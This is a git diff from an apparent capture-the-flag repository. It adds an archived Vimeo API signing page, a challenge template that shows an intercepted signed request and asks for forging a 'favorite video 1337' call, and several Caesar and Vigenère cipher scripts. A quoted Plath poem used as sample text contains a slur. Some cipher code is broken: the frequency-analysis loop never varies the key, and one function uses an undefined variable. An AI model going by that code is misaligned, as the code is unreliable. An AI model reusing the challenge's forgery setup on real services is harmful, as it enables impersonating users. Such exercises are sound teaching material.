<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">vimeo.videos.comments.getList</code><br style="margin: 0px; padding: 0px; "/>
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">375747</code><br style="margin: 0px; padding: 0px; "/>
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">df3f791718032a70119d35d65d8b6d0d</code><br style="margin: 0px; padding: 0px; "/>
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">c5370e4b0c550494ba49d86893a0384f</code>
</div>
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
</blockquote>
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">That's all there is to it! Pretty easy, huh?</div>
</div>
<div style="float:left;color:rgb(62, 62, 62);font-size:11px;width:300px;margin: 0px 0px 0px 10px; padding: 0px; ">
<div style="position:relative;margin: 0px; padding: 0px; ">
<div style="height:25px;background-color: rgb(78, 186, 255); margin: 0px; padding: 0px; ">
<h4 style="position:absolute;top:7px;left:8px;line-height:11px;font-size:11px;color:rgb(255, 255, 255);margin: 0px; padding: 0px; ">Vimeo API</h4>
</div>
<img src="data:image/gif;base64,R0lGODlhCQAFAIAAABorPE66/yH5BAEAAAAALAAAAAAJAAUAAAIKjH+ACYoNGWxhFgA7" style="height:5px;width:9px;position:absolute;left:18px;z-index:2;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<ul style="list-style-type:none;margin: 10px 0px 20px; padding: 0px; ">
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">API Home</a>
</li>
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/simple-api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Simple API Documentation</a>
</li>
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/oembed" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">oEmbed Documentation</a>
</li>
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/moogaloop" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Moogaloop Documentation</a>
</li>
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 0px 0px 5px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/advanced-api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Advanced API Documentation</a>
<ul style="list-style-type:none;margin: 10px 0px 20px; padding: 0px; ">
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/web-auth" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Web-based authentication</a>
</li>
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/desktop-auth" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Desktop-based authentication</a>
</li>
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
<strong style="margin: 0px; padding: 0px; ">Signing API calls</strong>
</li>
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/response-formats" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Response formats</a>
</li>
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/upload" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Upload API</a>
</li>
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api-docs/advanced-api-docs.html" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Full method list</a></li>
<li style="list-style-type:none;font:normal normal normal 11px/14px verdana, sans-serif;margin: 0px 0px 5px 15px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/sandbox" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Sandbox</a>
</li>
</ul>
</li>
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/developer/user1389599" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Manage your Developer API Keys</a>
</li>
<li style="list-style-type:none;font:normal normal bold 12px/14px arial, sans-serif;margin: 10px 0px; padding: 0px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/forum:API" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">API Forum</a></li>
</ul>
</div>
<div style="position:relative;margin: 0px; padding: 0px; ">
<div style="height:25px;background-color: rgb(109, 206, 238); margin: 0px; padding: 0px; ">
<h4 style="position:absolute;top:7px;left:8px;line-height:11px;font-size:11px;color:rgb(255, 255, 255);margin: 0px; padding: 0px; ">
Vimeo developer highlights </h4>
</div>
<img src="data:image/gif;base64,R0lGODlhCQAFAIAAABorPG3O7iH5BAEAAAAALAAAAAAJAAUAAAIKjH+ACYoNGWxhFgA7" style="height:5px;width:9px;position:absolute;left:18px;z-index:2;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</div>
<div style="margin: 0px 0px 20px; padding: 0px; ">
<div class="object" style="background-color: rgba(224, 224, 224, 0.5); display:inline-block;width:300px;height:225px;border-width: 0; margin: 0px; padding: 0px; ">
</div>
<div style="color:rgb(150, 150, 150);font-size:10px;text-align:right;margin: 2px 0px 0px; padding: 0px; ">
Powered by Vimeo <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/widget" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Hubnut</a>
</div>
</div>
</div>
</div>
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
<div style="margin: 0px; padding: 0px; ">
<ul style="list-style-type:none;margin: 0px; padding: 20px 20px 0px; ">
<li style="list-style-type:none;background-color: rgb(246, 246, 234); font-size:11px;color:rgb(164, 164, 164);line-height:23px;height:23px;margin: 0px 0px 1px; padding: 0px 10px; ">
<span style="color:rgb(62, 62, 62);font-weight:bold;margin: 0px; padding: 0px; ">Vimeo:</span>  <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/about" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">About</a>
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/blog" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Blog</a>
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/roadmap" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Roadmap</a>
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Developers</a>
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/guidelines" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Community Guidelines</a>
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/forums" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Forums</a>
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/toys" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Toys</a>
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/help" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Help!</a>
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/site_map" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Site Map</a>
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/plus" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Get Vimeo Plus</a>
</li>
<li style="list-style-type:none;background-color: rgb(246, 246, 234); font-size:11px;color:rgb(164, 164, 164);line-height:23px;height:23px;margin: 0px 0px 1px; padding: 0px 10px; ">
<span style="color:rgb(62, 62, 62);font-weight:bold;margin: 0px; padding: 0px; ">Legal:</span>  <span style="color:rgb(150, 150, 150);margin: 0px; padding: 0px; ">©2009 Vimeo, LLC</span>
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/terms" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Terms &#38; Conditions</a>
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/privacy" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Privacy Statement</a>
</li>
</ul>
<div style="margin: 0px; padding: 1px 20px 20px; ">
<div style="background-color: rgb(246, 246, 234); margin: 0px; padding: 0px; ">
<div style="position:relative;float:left;width:728px;margin: 10px; padding: 0px; ">
<div style="margin: 0px; padding: 0px; ">
<div style="position:relative;float:left;width:728px;height:90px;margin: 10px; padding: 0px; "></div>
</div>
</div>
<div style="float:right;width:155px;color:rgb(150, 150, 150);margin: 10px; padding: 40px 0px 0px; ">
Don't want to see ads?<br style="margin: 0px; padding: 0px; "/>
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/plus" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Get
<strong style="margin: 0px; padding: 0px; ">Vimeo
<img alt="plus" src="data:image/gif;base64,R0lGODlhGAAMAJEAAE66/////wAAAAAAACH5BAEHAAIALAAAAAAYAAwAAAIqFI6pC8YPo1ShnoAw0FUnvmVX+IAeSC7dyJ6Ml6Ls91kbZ0/6Ljm8IigAADs=" style="border-width: 0px; border-style: none; margin: 0px 0px -2px; padding: 0px; border-color: white; "/></strong></a>
</div>
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
</div>
</div>
</div>
</div>
</div>
<div style="text-align:left;display:none;margin: 0px; padding: 0px; ">
</div>
<div style="text-align:left;position:absolute;top:-10000px;left:-10000px;width:0px;height:0px;margin: 0px; padding: 0px; "></div>
</div></div></div></body></html>

View file

@ -0,0 +1,48 @@
Welcome!<br>
<h1>Docs</h1>
Make your requests as POST to <code>/api</code> in JSON format.<br>
<a href="{{ url_for('static', filename='xte1C/index.html') }}">Here</a> is the documentation on how to sign requests.<br>
<h1>Intercepted request</h1>
Here is an example API call by user {{ user_id }}:<br>
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); font: normal normal normal 11px verdana, sans-serif;">
<div style="color:rgb(62, 62, 62);font-weight:bold;float:left;text-align:right;margin: 0px 10px 0px 0px; padding: 0px; ">
method<br style="margin: 0px; padding: 0px; ">
api_key<br style="margin: 0px; padding: 0px; ">
api_sig </div>
<div style="float:left;margin: 0px; padding: 0px; ">
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">vimeo.test.login</code><br style="margin: 0px; padding: 0px; ">
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">{{ api_key }}</code><br style="margin: 0px; padding: 0px; ">
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">{{ api_sig }}</code>
</div>
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
</blockquote>
<pre style="font-family:courier, monospace;display:block;font:normal normal normal 11px/14px monaco, courier, mono-space;background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); "><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">&lt;?</span><span style="margin: 0px; padding: 0px; "><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; ">xml version</span><span style="color:rgb(102, 102, 0);margin: 0px; padding: 0px; ">=</span><span style="color:rgb(0, 136, 0);margin: 0px; padding: 0px; ">"1.0"</span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "> encoding</span><span style="color:rgb(102, 102, 0);margin: 0px; padding: 0px; ">=</span><span style="color:rgb(0, 136, 0);margin: 0px; padding: 0px; ">"UTF-8"</span></span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">?&gt;</span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; "></span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">&lt;rsp </span><span style="color:rgb(102, 0, 102);margin: 0px; padding: 0px; ">stat</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">=</span><span style="color:rgb(0, 136, 0);margin: 0px; padding: 0px; ">"ok"</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">&gt;</span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; ">&nbsp; </span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">&lt;user </span><span style="color:rgb(102, 0, 102);margin: 0px; padding: 0px; ">id</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">=</span><span style="color:rgb(0, 136, 0);margin: 0px; padding: 0px; ">"{{ user_id }}"</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">&gt;</span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; ">&nbsp; &nbsp; </span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">&lt;username&gt;</span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; ">{{ user_name }}</span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">&lt;/username&gt;</span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; ">&nbsp; </span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">&lt;/user&gt;</span><span style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; "><br style="margin: 0px; padding: 0px; "></span><span style="color:rgb(0, 0, 136);margin: 0px; padding: 0px; ">&lt;/rsp&gt;</span></pre>
<h1>Target</h1>
Try to get him to favorite the video number 1337!<br>
<h1>Available APIs</h1>
<h2 style="text-align:left;">vimeo.test.login</h2>
<div style="text-align:left;padding-left:20px;"><div style="text-align:left;padding-left:20px;">Is the user logged in?</div><h3 style="text-align:left;">Returns</h3><div style="text-align:left;"><pre style="text-align:left;border-left-color:rgb(204, 204, 204);background-color: rgb(243, 243, 243); border-width: medium medium medium 2px; border-style: none none none solid; padding: 10px 10px 10px 20px; ">&lt;user id="151542"&gt;
&lt;username&gt;ted&lt;/username&gt;
&lt;/user&gt;</pre></div></div>
<h2 style="text-align:left;">vimeo.videos.setFavorite</h2>
<div style="text-align:left;padding-left:20px;"><div style="text-align:left;padding-left:20px;">Set a video as a favorite.</div><h3 style="text-align:left;">Parameters</h3><ul style="text-align:left;">
<li style="text-align:left;"><span style="text-align:left;font-style:italic;color:rgb(139, 0, 0);">int</span>
<span style="text-align:left;font-weight:bold;">video_id</span>
<em style="text-align:left;">(required)</em>
- Mark this video as a favorite.</li><li style="text-align:left;"><span style="text-align:left;font-style:italic;color:rgb(139, 0, 0);">boolean</span>
<span style="text-align:left;font-weight:bold;">favorite</span>
<em style="text-align:left;">(required)</em>
- If this is "1", "true" or "yes," we'll set this as a favorite. Otherwise use "0", "false", "no."</li></ul><h3 style="text-align:left;">Returns</h3><div style="text-align:left;">This method returns an empty success response.<pre style="text-align:left;border-left-color:rgb(204, 204, 204);background-color: rgb(243, 243, 243); border-width: medium medium medium 2px; border-style: none none none solid; padding: 10px 10px 10px 20px; ">&lt;rsp stat="ok"&gt;&lt;/rsp&gt;</pre>
</div></div>

View file

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8"?>
<rsp stat="ok"></rsp>

View file

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<rsp stat="ok">
<user id="{{ user_id }}">
<username>{{ user_name }}</username>
</user>
</rsp>

3
Cryptography/README.md Normal file
View file

@ -0,0 +1,3 @@
# TOOLS:
- https://www.cryptool.org/en/cryptool1-en

View file

@ -0,0 +1,31 @@
Stasis in darkness.
Then the substanceless blue
Pour of tor and distances.
Gods lioness,
How one we grow,
Pivot of heels and knees!—The furrow
Splits and passes, sister to
The brown arc
Of the neck I cannot catch,
Nigger-eye
Berries cast dark
Hooks—
Black sweet blood mouthfuls,
Shadows.
Something else
Hauls me through air—
Thighs, hair;
Flakes from my heels.
White
Godiva, I unpeel—
Dead hands, dead stringencies.
And now I
Foam to wheat, a glitter of seas.
The childs cry
Melts in the wall.
And I
Am the arrow,
The dew that flies
Suicidal, at one with the drive
Into the red
Eye, the cauldron of morning.

View file

@ -0,0 +1,6 @@
CryptoAnalysis
==============
* Several implementations of Caesar cipher with frequency analysis.
* Vinegere code.

View file

@ -0,0 +1,85 @@
#!/usr/bin/env python
__author__ = "bt3gl"
import string
FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357,
0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028,
0.0164, 0.0004]
def delta(freq_word, freq_eng):
# zip together the value from the text and the value from FREQ_EdiffGlist_freqISH
diff = 0.0
for a, b in zip(freq_word, freq_eng):
diff += abs(a - b)
return diff
def cipher(msg, key):
# Make the cipher
dec = ''
for c in msg.lower():
if 'a' <= c <= 'z':
dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26)
else:
dec += c
return dec
def frequency(msg):
# Compute the word frequencies
dict_freq = dict([(c,0) for c in string.lowercase])
diff = 0.0
for c in msg:
if 'a'<= c <= 'z':
diff += 1
dict_freq[c] += 1
list_freq = dict_freq.items()
list_freq.sort()
return [b / diff for (a, b) in list_freq]
def decipher(msg):
# Decipher by frequency
min_delta = 1000
best_rotation = 0
freq = frequency(msg)
for key in range(26):
d = delta(freq, FREQ_ENGLISH)
if d < min_delta:
min_delta = d
best_rotation = key
return cipher(msg, -best_rotation)
def decipher_simple(msg):
# very smart way of solving using translate and maketrans methods
diff = (ord('t') - ord(s[0])) % 26
x = string.ascii_lowercase
x = x[diff:] + x[:diff]
ans = string.translate(s,string.maketrans(string.ascii_lowercase,x))
return ans
if __name__ == '__main__':
key = 13
text = 'hacker school is awesome!'
cip = cipher(text, key)
dec = decipher(cip)
print "Cipher: " + cip
print "Decipher: " + dec
assert(text == dec)

View file

@ -0,0 +1,44 @@
#!/usr/bin/env python
__author__ = "Mari Wahl"
__email__ = "marina.w4hl@gmail.com"
'''
Cesar Ecrypt
'''
import sys
def encrypt(message, k):
alphabet = list('abcdefghijklmnopqrstuvwxyz ')
cipher = ''
for c in message:
cipher += alphabet[(alphabet.index(c) + k)%(len(alphabet))]
return cipher
def decrypt(message, k):
alphabet = list('abcdefghijklmnopqrstuvwxyz ')
decipher = ''
for c in message:
decipher += alphabet[(alphabet.index(c) - k)%(len(alphabet))]
return decipher
def main():
MESSAGE = list(raw_input('Enter the message to be encrypted: ')) or "all your basis belong to us"
k = 13
encrypted_msg = encrypt(MESSAGE, k)
print("Encrypted message: " + encrypted_msg)
decrypted_msg = decrypt(encrypted_msg, k)
assert(decrypted_msg == MESSAGE)
if __name__ == '__main__':
main()

View file

@ -0,0 +1,51 @@
#!/usr/bin/env python
__author__ = "Mari Wahl"
__email__ = "marina.w4hl@gmail.com"
'''
Cesar encrypt - better
'''
import sys
def encrypt(message, k):
cipher = ''
for c in message:
c = (ord(c) + k) % 26
if c < 32:
c += 32
cipher += chr(c)
return cipher
def decrypt(message, k):
cipher = ''
for c in message:
c = (ord(c) - k) % 26
if c < 32:
c += 126-32
cipher += chr(c)
return cipher
def main():
#MESSAGE = list(raw_input('Enter the message to be encrypted: ')) or "all your basis belong to us"
MESSAGE = 'jxu qdimuh je jxyi ijqwu yi qdimuhxuhu'
for k in range (13, 14):
#encrypted_msg = encrypt(MESSAGE, k)
#print("Encrypted message: " + encrypted_msg)
decrypted_msg = decrypt(MESSAGE, k)
print("Decrypted message: " + decrypted_msg)
if __name__ == '__main__':
main()

View file

@ -0,0 +1,477 @@
# PyGenere v 0.3
#
# Release Date: 2007-02-16
# Author: Simon Liu <webmonkey at smurfoncrack dot com>
# URL: http://smurfoncrack.com/pygenere
# History and License at end of file
r"""
This library implements the Caesar and Vigenere ciphers, allowing a piece of
plaintext to be encoded using a numeric rotation or an alphabetic keyword,
and also decoded if the key/rotation is known.
In case the key is not known, methods are provided that analyze the ciphertext
and attempt to find the original key and decode the message: these work using
character frequency analysis. English, French, German, Italian, Portuguese,
and Spanish texts are currently supported. Results are generally accurate if
the length of the plaintext is long compared to the length of the key used to
encipher it.
Example usage:
>>> from pygenere import *
>>> plaintext = 'Attack at dawn.'
>>> key = 3
>>> ciphertext = Caesar(plaintext).encipher(key)
>>> ciphertext
'Dwwdfn dw gdzq.'
>>> Vigenere(ciphertext).decipher('D') # A=0, B=1, C=2, D=3, etc.
'Attack at dawn.'
The 'Attack at dawn.' message is too short for the automatic Vigenere decoder
to work properly. A way around this is to concatenate copies of the message
to itself, increasing the amount of text to analyze:
>>> VigCrack(ciphertext*5).crack_codeword(1)
'D'
>>> VigCrack(ciphertext*5).crack_message()
'Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.'
The crack_message() and crack_codeword() methods in the VigCrack class take 0,
1 or 2 arguments. For more information, see the docstrings for those methods.
Note that this method (repeating the ciphertext) does not always work, but can
sometimes be of use, as in the case of the example above.
Both the encipher() and decipher() methods for Vigenere and Caesar objects
return a cipher object of the same type. This makes method chaining possible:
>>> codeword = 'King'
>>> Vigenere(plaintext).encipher(codeword).decipher(codeword)
'Attack at dawn.'
>>> Caesar(plaintext).encipher(3).decipher(2).decipher(1)
'Attack at dawn.'
Note:
1. Non-alphabetic input (e.g. " " and "." above) is left as is.
2. The case of the input (plaintext/ciphertext) is preserved.
3. The case of the key doesn't matter, e.g. 'king', 'KING', and 'KiNg' are
identical keys.
Since each cipher is a subclass of the built-in str class, any cipher object
can be treated as a string. For instance:
>>> Vigenere(plaintext).replace(' ', '').lower()
'attackatdawn.'
However, since Python 2.1 and below don't seem to support subclasses of
the str class, Python 2.2 or newer is required to use this library.
By default, PyGenere assumes that the original plaintext message was written
in English, and thus English character frequencies are used for analysis.
To change the language, the set_language() method is used. For example, the
following code shows a short French string, encrypted with the keyword
'FR', decoded. Without setting the language first, an incorrect result is
obtained:
>>> text = 'Non, je ne veux pas coucher avec vous ce soir'
>>> encrypted = Vigenere(text).encipher('FR')
>>> print VigCrack(encrypted).set_language('FR').crack_codeword(2)
FR
>>> print VigCrack(encrypted).crack_codeword(2)
FS
This isn't always the case: two languages may have similar enough character
frequency distributions that decoding sometimes works correctly even when the
language setting is incorrect.
Currently, PyGenere's language options other than English are DE (German),
ES (Spanish), FR (French), IT (Italian), and PT (Portuguese).
"""
class Caesar(str):
"""An implementation of the Caesar cipher."""
def encipher(self, shift):
"""Encipher input (plaintext) using the Caesar cipher and return it
(ciphertext)."""
ciphertext = []
for p in self:
if p.isalpha():
ciphertext.append(chr((ord(p) - ord('Aa'[int(p.islower())]) +
shift) % 26 + ord('Aa'[int(p.islower())])))
else:
ciphertext.append(p)
return Caesar(''.join(ciphertext))
def decipher(self, shift):
"""Decipher input (ciphertext) using the Caesar cipher and return it
(plaintext)."""
return self.encipher(-shift)
class Vigenere(str):
"""An implementation of the Vigenere cipher."""
def encipher(self, key):
"""Encipher input (plaintext) using the Vigenere cipher and return
it (ciphertext)."""
ciphertext = []
k = 0
n = len(key)
for i in range(len(self)):
p = self[i]
if p.isalpha():
ciphertext.append(chr((ord(p) + ord(
(key[k % n].upper(), key[k % n].lower())[int(p.islower())]
) - 2*ord('Aa'[int(p.islower())])) % 26 +
ord('Aa'[int(p.islower())])))
k += 1
else:
ciphertext.append(p)
return Vigenere(''.join(ciphertext))
def decipher(self, key):
"""Decipher input (ciphertext) using the Vigenere cipher and return
it (plaintext)."""
plaintext = []
k = 0
n = len(key)
for i in range(len(self)):
c = self[i]
if c.isalpha():
plaintext.append(chr((ord(c) - ord(
(key[k % n].upper(), key[k % n].lower())[int(c.islower())]
)) % 26 + ord('Aa'[int(c.islower())])))
k += 1
else:
plaintext.append(c)
return Vigenere(''.join(plaintext))
class InputError(Exception):
"""This class is only used for throwing exceptions if the user supplies
invalid input (e.g. ciphertext is an empty string)."""
pass
class VigCrack(Vigenere):
"""
VigCrack objects have methods to break Vigenere-encoded texts when the
original key is unknown.
The technique used is based on the one described in:
http://www.stonehill.edu/compsci/Shai_papers/RSA.pdf
(pages 9-10)
Character frequencies taken from:
http://www.csm.astate.edu/~rossa/datasec/frequency.html (English)
http://www.characterfrequency.com/ (French, Italian, Portuguese, Spanish)
http://www.santacruzpl.org/readyref/files/g-l/ltfrqger.shtml (German)
"""
# Unless otherwise specified, test for codewords between (and including)
# these two lengths:
__default_min_codeword_length = 5
__default_max_codeword_length = 9
# The following are language-specific data on character frequencies.
# Kappa is the "index of coincidence" described in the cryptography paper
# (link above).
__english_data = {
'A':8.167, 'B':1.492, 'C':2.782, 'D':4.253, 'E':12.702,
'F':2.228, 'G':2.015, 'H':6.094, 'I':6.996, 'J':0.153,
'K':0.772, 'L':4.025, 'M':2.406, 'N':6.749, 'O':7.507,
'P':1.929, 'Q':0.095, 'R':5.987, 'S':6.327, 'T':9.056,
'U':2.758, 'V':0.978, 'W':2.360, 'X':0.150, 'Y':1.974,
'Z':0.074, 'max_val':12.702, 'kappa':0.0667
}
__french_data = {
'A':8.11, 'B':0.903, 'C':3.49, 'D':4.27, 'E':17.22,
'F':1.14, 'G':1.09, 'H':0.769, 'I':7.44, 'J':0.339,
'K':0.097, 'L':5.53, 'M':2.89, 'N':7.46, 'O':5.38,
'P':3.02, 'Q':0.999, 'R':7.05, 'S':8.04, 'T':6.99,
'U':5.65, 'V':1.30, 'W':0.039, 'X':0.435, 'Y':0.271,
'Z':0.098, 'max_val':17.22, 'kappa':0.0746
}
__german_data = {
'A':6.506, 'B':2.566, 'C':2.837, 'D':5.414, 'E':16.693,
'F':2.044, 'G':3.647, 'H':4.064, 'I':7.812, 'J':0.191,
